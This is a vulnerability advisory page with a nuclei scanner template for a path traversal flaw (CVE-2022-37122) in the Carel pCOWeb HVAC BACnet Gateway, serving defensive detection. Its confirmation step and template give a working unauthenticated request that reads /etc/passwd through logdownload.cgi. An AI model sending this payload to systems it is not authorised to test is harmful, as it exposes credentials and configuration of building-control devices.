Carel pCOWeb HVAC BACnet Gateway 2.1.0 - Path Traversal

highseverity

7.5CVSS score

23.5%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Carel pCOWeb HVAC BACnet Gateway 2.1.0 contains an unauthenticated arbitrary file disclosure caused by improper verification of the 'file' GET parameter in logdownload.cgi, letting attackers disclose sensitive files via directory traversal, exploit requires no authentication.

Impact

Unauthenticated attackers can read arbitrary files from the Carel pCOWeb HVAC BACnet Gateway through directory traversal in the logdownload.cgi file parameter, potentially exposing sensitive configuration files, credentials, and HVAC system data.

Fix

Update Carel pCOWeb HVAC BACnet Gateway to a version later than 2.1.0 that properly validates file paths in logdownload.cgi.

How to confirm it

Send: GET {{BaseURL}}/usr-cgi/logdownload.cgi?file=../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/

Run it with nuclei: nuclei -id CVE-2022-37122 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2022-37122

info:
  name: Carel pCOWeb HVAC BACnet Gateway 2.1.0 - Path Traversal
  author: gy741
  severity: high
  description: |
    Carel pCOWeb HVAC BACnet Gateway 2.1.0 contains an unauthenticated arbitrary file disclosure caused by improper verification of the 'file' GET parameter in logdownload.cgi, letting attackers disclose sensitive files via directory traversal, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can read arbitrary files from the Carel pCOWeb HVAC BACnet Gateway through directory traversal in the logdownload.cgi file parameter, potentially exposing sensitive configuration files, credentials, and HVAC system data.
  remediation: |
    Update Carel pCOWeb HVAC BACnet Gateway to a version later than 2.1.0 that properly validates file paths in logdownload.cgi.
  reference:
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5709.php
    - https://www.zeroscience.mk/codes/carelpco_dir.txt
    - https://packetstormsecurity.com/files/167684/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-37122
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-37122
    cwe-id: CWE-22
    epss-score: 0.23518
    epss-percentile: 0.97817
  metadata:
    max-request: 1
    vendor: carel
    product: pcoweb_hvac_bacnet_gateway
  tags: cve,cve2022,carel,lfi,traversal,unauth,bacnet,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/usr-cgi/logdownload.cgi?file=../../../../../../../../etc/passwd"

    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

References

Use this check only on systems you are authorised to test. Where the data comes from